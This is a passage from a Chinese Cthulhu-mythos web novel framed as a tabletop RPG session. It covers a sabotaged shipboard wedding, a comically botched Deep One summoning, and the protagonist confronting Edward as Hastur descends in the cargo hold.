她烦躁地“啧了声,实在想唾弃自己一句恋爱中的人脑子真可怕。
“ok,我现在想要船上每一层的完整地图——你知道宾客手册是缩略版的,还有它们的具体位置。
祝槐道。
“这里不适合久留了,找个隐蔽点的地方?外头那两个带走,让你的人想办法伪装成正常换班吧。
然后,就是她的计划了。
在几乎所有人的期待与翘首以盼中,这场旅程的重头戏——海上婚礼如期在第四天的夜晚到来了。
夜空中群星闪耀,一如十数层高的邮轮在海面之上缓慢行驶时一扇扇窗口中亮起的“万家灯火。
亮归亮,里面有没有人却是两说——在最顶层的露天广场上,宾客皆已落座,正交头接耳地议论起马上要正式举行的婚礼和感叹休谟家的大手笔。
一尘不染的红地毯从这头一直铺到那头,旁边洒满了馨香的玫瑰花瓣,台上则拉起天鹅绒的装饰缎子。而在正中的宣讲台上,似乎正摆放着一本书。
路婉婉:“那个难道……
“对,祝
槐说,“是那本书。
在桑德拉的黑箱安排下,他们的座位比原定的离现场要近得多,亲眼见到的她自然一眼认得出来。
他们几个也是单独一排,周围也没有其他人。
“所以爱德华其实没有打算真让这场婚礼成功进行,威尔说,“或者说,他想把这变成血色婚礼。
“煮啊,罗曼合十,“你宽恕不了他,ramen。
路婉婉:“……骗婚渣男。
“所以第五天的目的地是恋人海。
祝槐道:“到时候献祭完成,交易双赢,他就可以和自己真正想结婚的人举行仪式了。
路婉婉忍不住吐槽:“那也得莎伦愿意吧?
“不过,爱德华应该不怎么信任那些鱼人,威尔说,“不然不会直到现在才把书拿出来——当然,咱们需要学习,已经通晓那种语言的家伙可能就不用了,估计这才是深潜者没有反对的原因吧。
“嘘,祝槐竖起食指,“要开始了。
站在广场周围的都是荷枪实弹的保镖和安保人员,正常宾客可能只以为是休谟家谨慎又谨慎才如此防范,只有他们这些知道内情的才清楚原因。
被邀请来负责主持婚礼的神父已经带着满面微笑走上了宣讲台。
在他们所见过的所有混血种里,这位无疑是特征最明显的——他完全秃顶了,两只眼睛分得很开,嘴也咧得不小,脖子两边全是干瘪的褶皱。
虽然可能有人质疑怎么请来个这样长相的来主持仪式,但或许爱德华将对方塑造得也很德高望重,议论声还是寥寥。
乐队就绪,作为新郎的爱德华·琼斯也入了场,和几位伴郎交谈过后就站在台前,静静等待着新娘的到来。
他眉目间其实有些焦躁,不知是因为秘书的失踪还是看守二号货仓的排班表上少了两人,只是箭在弦上,一切仍要如计划一样进行,强摆也要摆出个幸福满面的笑容来。
伴随着第一声优美的弦乐曲调,桑德拉·休谟挽着父亲的胳膊缓缓步入现场。她身着一袭精心定制的露背婚纱,拖曳的长裙上缀着点点星光,手中的捧花同样衬得容颜格外美丽。
老爷子虽然能仍看出点笑模样,却要
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比先前在台上的风趣显得更不苟言笑了,他牵着女儿一步步向前走去,将自己长女的手交到了这个男人的手上。
他转身就头也不回地在前排座位上坐下,旁边的休谟夫人连忙拍了拍他胳膊。
台前
只剩下神父和一对新人奏乐渐渐弱下去在座宾客不由沉下了呼吸听到神父开了口。
“爱德华·琼斯。”
神父问:“无论她将来是富有还是贫穷或无论她将来身体健康或不适你都愿意和她永远在一起吗?”
“是的”他定定地凝视着桑德拉“我愿意。”
“桑德拉·休谟”神父又转向她
桑德拉:“我——”
她没有回答微微侧首在对方有些讶异的注视下猛地抬手——
狠狠打在了猝不及防的爱德华的脸上。
“啪!”
声音经过麦克风放大就更加地响亮。
这一耳光震惊了所有人。
满座哗然。
甚至有人下意识往路婉婉他们这边看了两眼。
路婉婉:“???”
桑德拉这一下的力道之重爱德华直接被抽得一个趔趄还不等他愕然抬头他自己再耳熟不过的声音就响彻了整个会场。
“xx你知道的我是因为有你才能活得下去……”
声音经过处理那个名字被模糊掉但对于刚刚才听过新人誓词的客人们当然轻而易举地就能辨认出它属于谁。
——爱德华·琼斯。
另一个女声就很陌生了。
“……但你还是选择和她结婚了。”
祝槐耸耸肩向后靠上椅背深藏功与名。
“我、我没有办法我不得不这样我才能……xx我爱你我爱的也只有你。”
威尔转着指间的录音笔“这叫私家侦探的职业素养。”
这下连还没有反应过来的宾客都意识到了是怎么回事鼎沸般的议论声覆盖了全场。
爱德华·琼斯本人也发觉了自己的身败名裂他猛地扭过头一直伪装出的温柔完全消失不见瞪向砸了这场婚礼的桑德拉的眼中满是狠厉之色。可还不等他有所动作早就埋伏在前方的保镖就一拥而上将他按倒在地。
假神父真祭司的混血深潜者见势不妙一把抓起了台上的魔法书就想要逃跑。
他这一下顿时成为了一切的号角宾客中接连有人起身甚至还有的已经奔向露台边缘朝着下面打着呼哨。
威尔毫不犹豫地开出了第一枪。
正在向海中同族呼救
的男人后背血流如注地倒下了,突如其来的枪声换来宾客们的尖叫,从旁边围来的安保人员赶紧安抚起了感到混乱的人群。
伺机要跑的“客人”加上“船务”不过数十人,又被未曾始料到的状况打了个措手不及,在桑德拉预先准备好的人手下一时间都四下溃散,成了盘聚也聚不起的散沙。
有当场就和爱德华一样被按倒的,有想往楼梯逃跑却被子弹打伤了腿摔了的,还有自己人把自己人绊了结果俩都被抓的。
直到有大半都被围捕,剩下的一小部分才冷静下来,察觉到安保员其实大多都在保护宾客,立刻高声吟诵起了不知名的咒语。
——拉莱耶造雾术。
前方立刻弥漫起了大片阴冷的卵形浓雾,遮蔽住奔逃进其中、好伺机下去求援的人的身形。
手拿魔法书的神父自然也在其中,但他制造出这片雾气是为了别的目的。
爱德华那只铁公鸡把书捂到了现在才拿出来,他断不可能放过这个机会。地毯之下,实际上已经准备好了法阵,就等着婚礼上客人到场,全部成为召唤伟大天主克苏鲁的活祭。
神父迅速翻到了被标记的那一页,手抄本上有些污渍,但依然不影响他凑近眼前看清上面的字母。
……怎么后半段是英语。
算了。
神父展开另一条胳膊,吐出一口浊气,再度提高了声音。
“i''a!i''a!”他感受到了魔力在向着法阵中流失,“hunguruimugurunahukutouruhuru——”
“聆听我的召唤吧!拉莱耶之主!螺湮之主!移星者!毁灭者!荣耀的胜者!至尊蟹黄堡!”
……哪里不对劲。
但现在的状况顾不上这些了,他视线飞快往下,继续高声地念诵道:
“永恒的城市比奇堡中,失眠的章鱼哥等你一起睡不着觉——”
神父:“……”
神父:“?????”
这都什么乱七八糟的玩意儿?!!
()
第38章 约定之地(七)
他的声音之响亮,足以响彻云霄,响彻婚礼场地,响彻……每一个人的耳边。
别说正以为能伺机反杀恭迎吾主却被这莫名其妙的祷词搞得跑也不是跪也不是的其他混血深潜者,连正惊慌着的宾客们都被他这几嗓子吼懵了。
其中一个躲在椅子底下的客人问旁边椅子下的那个,“……他干什么呢?
另一个:“……是谁住在深海的大凤梨里?
“海绵宝宝!
“方方黄黄伸缩自如?
“海绵宝——等一下,他说的是章鱼哥!
……
等等,他们是不是应该害怕来着?
“……可他为什么要召唤章鱼哥?
“异端!邪恶的异教徒!罗曼一个腰子翻身躲过对面年轻人捅来的小刀,震怒地大喊道,“为什么是蟹黄堡!竞争对手出现了!这也配称至尊,飞面大神会降下天罚的,我这就代表月亮消灭你!
路婉婉:“你好歹先变个身再说这话吧喂!
而且这时候又月亮了!吾煮呢!
他俩有一个算一个全是非战斗人员,别倒搭进去当人质就谢天谢地了,结果这还真被他们举着折叠椅干翻了一个,那把小刀直接被罗曼美滋滋地当作战利品收缴了。
祝槐:“咒语我写的。
罗曼:“哦,那没事了。
他们的战友情高于信仰!
“谁听了能不说一句感动,威尔吐槽,“但是你们能不能专心点!
他一枪打中了一个逃跑的邪
教徒的小腿,对方翻滚在地上捧着腿肚嗷嗷地叫,然后被安保员迅速制服。
雾散了,天晴了,神父还一动不动地站在原处,宛如魂丢了。
不知是召唤的哪一个环节出了问题——又或者是从头到尾都有问题,最后出现在他面前地上的居然是个还不到巴掌大的八爪小章鱼,还不知怎么红到发黑,散发出了一股奇异的香味。
主……主焦了。
而他的魔力也流失得一干二净,虽然也不是不可以从其他人那里借取,但环顾四周,显然已经错失了最好的良机。
“爱德华·琼斯!
神父,不,混血深潜者祭司愤怒地将手抄本从中一撕为二,“你这个该死的骗子——
“我们的交易作废了,他吼道,“你要为亵渎我主付出代价!
爱德华还被保镖按在地上连头都抬不起来闻言就身体一僵真正的骗子轻快地吹了声口哨。
威尔心说可绝对不能得罪她。
桑德拉·休谟和她的父母早就被保护着撤离到了安全区域其余宾客也被疏散向战斗范围以外的地方但此时忽然又有几人扒着船舷边沿发出了惊恐的尖叫。
从上往下望夜里的海面本就漆黑无比只在靠近船体的部分映出粼粼波光。而那黑暗中居然有什么在密密麻麻地攒动并源源不断地游向邮轮周围再在挨上来的同时冒了头。
它们的脑袋浮出水面腮在不断颤动看上去就形如长得稀奇古怪的鱼类身体似人又非人脊背上的背鳍像尖刺般高高凸起。带蹼的手掌在船壳上滑出一道道湿滑恶心的水渍奇异地粘合在上面帮助它们不断向上爬来。
涎水连同海水一同从细密的齿间滴落船壳上、海里到处都遍布黄澄澄的亮光——那是它们的眼睛。
数不清的深潜者从下方的深海汇聚而来四面八方地包围了整艘邮轮开始由下往上地侵占起自己的领地。
它们像吸血蛭一样密集地攀附在船体上原本的银白都被覆盖成了发黑的灰绿色。混血的眷族们几乎已经尽数被制服连神父也不例外可人们依然不由为这在噩梦中才见得到的景象失声惊叫。
一片混乱中按着爱德华的保镖忽然也惨叫起来捂住了自己手上无端冒出的水疱。
这场婚礼的前新郎趁机挣开了因剧痛而失去力气的他们几个的桎梏他口中念念有词见咒语生效就头也不回地向电梯旁冲去。
威尔:“喂!”
谁也不知道他的目的地是哪里反正广场这边已经解决得差不多了侦探咬咬牙拔腿追了过去。
紧跟着的还有祝槐路婉婉和罗曼犹豫了一下正打算也跟上却在那之前被喝止了。
“你们两个留下!”祝槐回头喊道“我们去就可以了!”
站住的二人茫然又有些担忧地面面相觑桑德拉·休谟和父母一起站在保镖们的身后望着相继消失在出口方向的身影没有控制手里的力气胡乱扯下了三个月前和未婚夫一起去仔细挑了样式的头纱。
她想起前一天在商讨过计划之后那个令人看不透的女人私下来找自己说的几句话。
她说:“在必要的时候顺势放走爱德华。”
明明仅有几十秒的时间之差爱德华乘坐的电梯已经飞快地下降而
去,任凭威尔再怎么去砸旁边的按钮也无济于事。
他只得咬牙去按旁边的,可为了分散人流量,电梯可供通往的层数各不相同。
爱德华的那部可以直通地下,他们这个最低就只能去二层了,威尔按亮按钮撑着电梯门,等祝槐也追进来立刻去关门。
缆绳开始作响,两人站在轿厢里看着层数一点点减少,威尔问:“你觉得他会去哪里?”
“不用想,”祝槐说,“二号货仓。”
“他就算死也要和莎伦·伯克利死在一起吗?”
威尔又低声说:“……不,不是,应该不仅是这样。”
“二号货仓的地面也有什么花纹,虽然当时看不太清,”他自言自语似的道,“现在想想,难道也是什么法阵?”
“我昨天向桑德拉问过了每块巨石的位置。”
祝槐说:“一共九块。”
“把它们标在地图上,再将每层的重合在一起看——排列出来就是个‘v’形。”
威尔:“我还以为这也是它们请神的必要步骤——”
“的确是。”电梯门打开了,他们所处的正好是一个露天小圆厅,上方夜空一览无余,祝槐道,“十月到三月,晴朗的夜晚,毕宿五升上地平线。”
她说,“只不过他要召唤的是哈斯塔。”
威尔难得现出迟疑之色:“哈斯塔……?”
“等等,我记得你昨天提过一句,”他说,“可他不是和深潜者合作,为什么要准备和它们敌对——”
他忽地了然了。
“难怪……合作关系比我们想得还脆弱,”威尔说,“所以深潜者那边直接毁了约,爱德华这边也提前准备好了可以召唤的条件来反制对方。”
“是啊。”
祝槐说:“书毕竟在爱德华手里,看来他早就自己先学过了,甚至为了避免同伙发觉进行了一定的改造……所以刚才能直接使用法术也可以不像他们一样非得看着书才能进行仪式。”
“真可惜,”她遗憾道,“我本来把那边改成了‘海绵宝宝’呢。”
威尔:“……”
喂!!不是这个问题吧!!!
他要凝重不凝重的表情顿时在这句话下变得哭笑不得,但也没有维持多久,外面很快传来熟悉的黏滑声响和那些尖利的嗓音——除了更有力地蹦上来的,第一拨鱼人也已经爬上船来了。
它们落地的地点在一层甲板,他们俩下去就必然会迎面遇上
,然而也别无他法——二人对视一眼,几乎同时给自己的枪关了保险上了膛。
现在可以知道kp当初为什么没有阻止他们半夜去仓库偷枪了,这压根就是场全灭率近乎百分百的海上大逃杀。
他们穿过走廊,在奔跑中回忆着下一部电梯的位置,但又在藏在墙后观察了深潜者们的动向后意识到这可能并不是个好选择。
它们无疑也从爱德华和自己混血眷族那里获知了一点船上的地理位置,上船后的第一反应就是去封锁人类最常使用的工具,观察发现没有猎物下来后,居然反过来打算按按钮自己坐电梯上去。
视野就在这时“啪地陷入一片漆黑。
数秒后,走廊上重新亮起的几盏应急灯照亮了他们的前进路线。
“桑德拉那边应该已经直接断电了,祝槐说,“走吧,楼梯。
避开这一群鱼人,他们冲向最近的楼梯口,听到不远处传来的奇特脚步声,祝槐在转过身的瞬间当机立断地扣下了扳机。
[斯卡蒂(祝槐)]进行手
枪检定,8/60,极难成功。
子弹精准的命中击穿了手握长叉的深潜者的头颅,它那黄褐色的眼珠爆裂开来,溅出一片令人作呕的汁液。它摇晃两下,似乎还能拄着武器站立,而在它之后,猛然冒了头的同伴也嘶哑地叫着,挥舞起武器作势要刺来。
[威尔]进行霰
弹枪检定,43/55,成功。
飞散而开的细小弹丸撞入那深潜者同伴的面部,本就磕碜的长相更加雪上加霜了——完全成了个留下无数弹孔的蜂窝煤。
它们的死活与否不是现在值得关心的,他们要做的只是暂时击退或者找到时机得以脱战。
爬上船来的深潜者接二连三,两人硬是在三四场遭遇战里杀出了一条路,直到终于抵达了通往下部船舱的楼梯。
深潜者们似乎还未打算涉足这里,毕竟以它们的第一要务,是要攻占这艘船再说。
“就到这里了,祝槐道,“你自己应该回得去吧。
威尔:“?
“你要一个人下去?他问。
“当然,她眨眨眼,“我昨天不是说了吗?我有我的计划。
一个非常、非常疯狂的计划。
威尔:“你不会……
“不,他说,“我一起去。
“听我的,祝槐说,“要相信我吗?
听着她这句熟悉的问话,威尔呼吸一滞,又
听她道:“作为陪我下到这里的回报,还你一个你作为侦探最心心念念的真相怎么样?
侦探听懂了她的暗示。
他伸手进自己怀里,摸出那根录音笔,递给了对方。
“很贵的,别弄坏了。他说,“算了,就算坏了也得带回来还给我。
“了解。祝槐一笑,直接按亮了录音笔的开关,“我已经让桑德拉提前把这几层的人手也撤离了,走不开的干脆换成爱德华那边的——毕竟我想他们不会介意借机给自己同族行个方便的。
“你回到五层以上应该就差不多了,但还是尽快跟他们汇合,准备看时机放救生艇。以及,虽然我也不知道有没有用……不管发生什么都不要往下看。
威尔深深看了她一眼,“好运。
“祝我们好运,
他们就在这里分开,头顶传来了枪声,祝槐看了一眼,头也不回地踏下了台阶。
货舱通道里同样只留下了应急灯,她一边换了满数的弹匣,一边不急不慢往前走。
一下下的脚步声在走廊里回响,传入的不仅有她自己的耳中,自然也有在场另一人的耳朵里。
——二号。
到了。
祝槐迈进半开着的大门,果然看见一身礼服已经皱皱巴巴狼狈不已的男人闻声抬了头。
“居然是你,爱德华看到来人,又瞧见她提着的枪,脸上不掩疯狂之色,“想不到会是你来……原来如此,原来是这样,难怪她会知道——
他终于把一切串联起来,所有细节都对上了号,却抑制不住地大笑起来。往日英俊儒雅的模样消失得一干二净,粗哑难听的笑声一阵比一阵尖利,直刺着人的耳膜。
“可惜啊,可惜你来得太晚了。
他两眼通红,充斥着的尽是走到末路的赌徒孤注一掷的癫狂,“你做什么都没用了,我已经完成了仪式,只要等着祂降临,就可以将她——
“是吗,祝槐摆弄了一下手里的枪,“那她自己愿意吗?
在前一天的昏暗之下还无法看清,但此时此刻大缸旁边的地面上,一圈圈的法阵泛起了红光,它上面绘满了奇特又异样的纹路,光芒从微弱到强烈,显而易见——已经被启动了。
“闭嘴,她不可能不愿意,爱德华喘着粗气,“没有人比我更了解莎伦,她只会——
“只会感谢你复活了她?
祝槐惊讶地说:“那你一定清楚她是怎么死的了。”
霎时之间,爱德华就像只被掐住了脖子的公鸡,他张着嘴,却半天都没有说出一个字来。
“是啊,是啊……”几秒后,他梦呓似的喃喃道,“那场海难,我和她一起漂到了一座荒岛,但是莎伦不幸撞到了头,很快就……”
“然后你在那里撑着,直到人鱼——准确来说是深潜者给你送来了食物?”祝槐替他补充道,“甚至还和它们做了交易,如果你帮助它们召唤伟大的天主,它们就帮你复活莎伦?”
爱德华死死地瞪着她,神情骇然,甚至忘了去阻止她一点点去揭开那只潘多拉的魔盒。
“爱德华·琼斯,”她问,“你真的不记得自己那几天吃的是什么吗?”
“莎伦身上被啃咬的部分、缺失的部分都那么明显,你花了多少次说服自己?”
人鱼。
在某些地方的传说里,人鱼的另一层意象是他们的肉。相传吃了人鱼肉可以长生不老,爱德华的情况显然不属于此,但如果他以这样的潜意识——
爱德华:“闭嘴……”
“你的臆想又有多少是真的?该不会莎伦也不是像你说的那样,在海难中撞到脑袋重伤不治死的吧?”
“闭嘴。”
“甚至,我是不是可以得出这样的猜测,你们侥幸逃过失温,漂流到荒岛
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上却已经饥肠辘辘,但又发生了争吵或者随便什么情况……你打到了她的头部,回过神来发现她死了,并且在之后的几天——”
“我让你闭嘴——!!”
他吼出声后才意识到了自己的失态,胸口剧烈地起伏着,许久之后,才抬头去看依然一动不动地浮在水中的莎伦。
召唤阵上越发红光大盛。
“不重要,这些都不重要。”他狂热而迷恋地说,“我们马上就可以重聚,毕竟我们那么相爱——”
“别沉浸在你那自我感动的深情里了。”
祝槐说:“你就不觉得我的声音有点耳熟吗?”
那一点隐约的熟悉终于在此刻化为实感,爱德华目眦欲裂,显然也回忆起了那天夜晚的甲板。
“那个也是你……”他难以置信又愤怒,“你竟敢……”
“没办法,”祝槐笑眯眯道,“我胆子大嘛。”
她看到莎伦的嘴唇仍然在微微翕动,是和昨天一模一样的幅度。
她说——
杀了我。
“你觉得她不是她了,就因为她为变成这样想死而不是和你一起活下去?祝槐说,“你认的不是人,只有符合你想象的才是莎伦·伯克利。
“醒醒吧,爱德华·琼斯,你爱的只有你自己。
“不然不会选择和别的女人结婚来实现目标,你们的相册里最多的是你自己得意的照片,连和深潜者合作你想的也是万一事不成怎么报复它们——不然你为什么偏偏选择了召唤祂?
“所以呢?爱德华突然问。
祝槐:“?
“是啊!就算这样又如何!他咆哮起来,“我有什么办法!
“是它们发现了我把我送回了陆地,答应我的请求把莎伦用这样的形式留存,但它们说如果我三年后带得回来足够的祭品才会让她彻底地——现在我自己做,莎伦记得也没关系,到时候抹除掉她的记忆,我们又可以——
“你拿着枪,你想阻止我?爱德华前言不搭后语地大喊大叫道,“那开枪吧,不管怎样,赢的人是我!
“三分钟,不,一分钟,一分钟之后,你们全都会跟着我一起死——
货仓的天花板很高。
魔法阵上闪烁的光芒堪称耀眼,而就在那上方的高空处,有一股气旋渐渐地越来越明显。
龙卷风似的气流愈发猛烈,只是看着就让人感到了无形的压迫感。
有什么要降临了。
“不了。
祝槐放下枪,若有所思地歪歪头。
“目前来看,事到如今,她依然露出了微笑,“我承认是你赢了。
……
——门忽然被推开了。
几乎的漆黑一片里,作为唯一光源的电脑屏幕散发着微光,但在推门的人进来前,唯一身处会客室内的人却不在那里。
他坐在不远处的棋盘前,执完白子又执黑子。
士兵进d5。
他端详几秒,将另一方的棋子吃掉了。
“你既然要下棋,进门的人端着托盘上的点心和饮料走过来,“不开灯开着电脑做什么?
车进e4。
男人沉吟片刻,“氛围?
对方:“……
可再别了。
“我刚刚看到新出的悬赏了,
“敢主动进去的能是什么简单的家伙,要我说是这边太
傻。”对方不以为意,“不是悬赏吗?谁啊?”
“不知道,名字是假的,身份也是假的。”男人说,“唯一的线索就是最开始联络时用的id名字,据说是叫‘tikby’。”
“这能找到什么啊?网名这东西——”
男人一句话就掐灭了他,“不,其实我听说过——我说的是现实里。”
“前几年爆出来丑闻的那个叫昴星的皮包公司,”他说,“我有点在意就打听过,证据是被匿名发送过去的,用的名字就是‘tikby’。”
“‘tikby’……?”
“再往下查,能查到的东西其实不多,残留的资料也非常少,只追溯到昴星曾经资助过一个孤儿院,但那座孤儿院多年前就毁于大火……”男人道,“但是‘tikby’这个名字,你可以拆开想想。”
“t、i、k、b、y……”对方还真思考起来,“这能想到哪里去?”
他烦恼地一下下敲着桌面的指节忽然慢慢停下了。
“……‘thekinginyellow’。”他喃喃说,“可剩下的那个呢?”
“据那很少一部分留下来的资料,应该是‘bride’。”男人说。
“——他们管那个计划叫‘黄衣之王的祭品新娘’。”
……
强烈的重压感压迫得人无法动弹。
气流激烈到任何接近的物体都足以被轻易绞碎,而就在气旋的最中心,有一只无形的手拨开了它。
阴风寒冷有如来自漆黑的最外层空间,连周围的空气都凝结成了冰,最先窥见的是一层层褴褛破碎的黄袍。
被称为神的存在近在咫尺。
“祂”一点点地降临了。
爱德华的狂笑声仿佛已经远在天边,在如此场面之下,那又算得上什么呢。
【目睹“无以名状者”哈斯塔的真身,进行意志检定,成功下降一到十点,失败则随机下降一到一百点san值。】
kp毫不留情地说。
【我提醒你,这里会当场撕卡。】
【——等等。】
【你到底是——】
“这重要吗?”
眼前是人类难以理解的景象,祝槐听到心脏狂跳的声音,却无法控制住自己的嘴角,“……抱歉抱歉,我确实觉得现在的情况有点好笑。”
滑稽到她想笑弯腰了。
[斯卡蒂(祝槐)]进行意志检定,70/70,成功。
san值下降两点。
爱德华的笑声猛然一滞。
原因无他,戴着苍白面具的神明正在向地面逼近,褴褛黄衣下丑恶的触须四下舞动,足以轻松毁掉或是吸取对方意志的触手从她身旁扫过,却没有碰到她分毫。
祝槐似笑非笑地扬了扬眉。
“……终于见到你了。”她慢慢地说。
她恨之入骨的“情人”。
她命中注定的……死敌。
不过——现在,就让她再稍微利用一下吧。
“我亲爱的王啊,”她在爱德华不可置信的目光下扬声道,“伟大的深空星海之主。”
“作为您最虔诚的信徒,作为您的代行人,我现在将那些有着愚蠢信仰的深潜者,还有这个男人献祭于您——”
“请享用这份祭品吧。”
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第39章 约定之地(八)